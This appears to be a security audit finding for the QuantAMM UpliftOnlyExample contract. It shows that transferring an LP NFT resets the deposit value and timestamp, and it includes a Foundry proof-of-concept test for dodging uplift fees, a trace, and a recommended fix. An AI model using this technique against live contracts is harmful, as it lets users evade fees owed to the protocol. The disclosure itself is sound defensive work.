Summary
The UpliftOnlyExample contract incorrectly resets deposit values and timestamps during NFT transfers, allowing users to avoid uplift fees by transferring positions before withdrawal.
Vulnerability Details
https://github.com/Cyfrin/2024-12-quantamm/blob/a775db4273eb36e7b4536c5b60207c9f17541b92/pkg/pool-hooks/contracts/hooks-quantamm/UpliftOnlyExample.sol#L606-L614
In UpliftOnlyExample, the afterUpdate function resets critical deposit data when an NFT is transferred.
if (_to != address(0)) {
feeDataArray[tokenIdIndex].lpTokenDepositValue = lpTokenDepositValueNow;
feeDataArray[tokenIdIndex].blockTimestampDeposit = uint32(block.number);
feeDataArray[tokenIdIndex].upliftFeeBps = upliftFeeBps;
poolsFeeData[poolAddress][_to].push(feeDataArray[tokenIdIndex]);
}
The root of the problem is that when an NFT transfer occurs, the deposit value (lpTokenDepositValue) is reset to the current value, the deposit timestamp is also reset, and the uplift fee is reset to the default value.
This allows users to avoid uplift fees by waiting for the asset value to increase and then transferring the NFT to another address before withdrawing and then withdrawing from the new address with the reset deposit value.
POC
Add this to UpliftExample.t.sol and run it forge test --match-test testTransferNFTVulnerability -vvvv.
function testTransferNFTVulnerability() public {
uint256[] memory maxAmountsIn = [dai.balanceOf(bob), usdc.balanceOf(bob)].toMemoryArray();
vm.startPrank(bob);
upliftOnlyRouter.addLiquidityProportional(pool, maxAmountsIn, bptAmount, false, bytes(""));
vm.stopPrank();
vm.startPrank(alice);
upliftOnlyRouter.addLiquidityProportional(pool, maxAmountsIn, bptAmount, false, bytes(""));
vm.stopPrank();
UpliftOnlyExample.FeeData[] memory bobFeeData = upliftOnlyRouter.getUserPoolFeeData(pool, bob);
UpliftOnlyExample.FeeData[] memory aliceFeeData = upliftOnlyRouter.getUserPoolFeeData(pool, alice);
assertEq(bobFeeData.length, 1, "Bob should have 1 deposit");
assertEq(aliceFeeData.length, 1, "Alice should have 1 deposit");
int256[] memory prices = new int256[]();
prices[1] = 2e18;
updateWeightRunner.setMockPrices(pool, prices);
LPNFT lpNft = upliftOnlyRouter.lpNFT();
vm.startPrank(bob);
lpNft.transferFrom(bob, alice, 1);
vm.stopPrank();
bobFeeData = upliftOnlyRouter.getUserPoolFeeData(pool, bob);
aliceFeeData = upliftOnlyRouter.getUserPoolFeeData(pool, alice);
assertEq(bobFeeData.length, 0, "Bob should have no deposits");
assertEq(aliceFeeData.length, 2, "Alice should have both deposits");
assertEq(aliceFeeData[1].lpTokenDepositValue, 1e18, "Deposit value should be updated");
assertEq(aliceFeeData[1].blockTimestampDeposit, uint32(block.number), "Block number should be updated");
}
Trace:
FeeData({
tokenID: 1,
amount: 2000000000000000000000,
lpTokenDepositValue: 500000000000000000,
blockTimestampDeposit: 1682899200,
upliftFeeBps: 200
})
FeeData({
tokenID: 1,
amount: 2000000000000000000000,
lpTokenDepositValue: 1000000000000000000,
blockTimestampDeposit: 1,
upliftFeeBps: 200
})
When transferring NFT from Bob to Alice, the deposit value is reset.
├─ [121097] upliftOnlyRouter::afterUpdate(
bob: [0x1D96F2f...],
alice: [0x328809...],
1
)
Reset value occurs during transfer.
This shows the deposit value is reset from 0.5e18 to 1e18, the timestamp is reset from 1682899200 to 1 which allows avoiding the uplift fee because the fee calculation is based on the new (higher) deposit value and the reset timestamp.
Impact
Users can avoid paying uplift fees.
Tools Used
Recommendations
Maintain original deposit data during transfers.
if (_to != address(0)) {
FeeData memory originalData = feeDataArray[tokenIdIndex];
poolsFeeData[poolAddress][_to].push(
FeeData({
tokenID: originalData.tokenID,
amount: originalData.amount,
lpTokenDepositValue: originalData.lpTokenDepositValue,
blockTimestampDeposit: originalData.blockTimestampDeposit,
upliftFeeBps: originalData.upliftFeeBps
})
);
if (tokenIdIndex != feeDataArrayLength - 1) {
for (uint i = tokenIdIndex + 1; i < feeDataArrayLength; i++) {
feeDataArray[i - 1] = feeDataArray[i];
}
}
feeDataArray.pop();
}
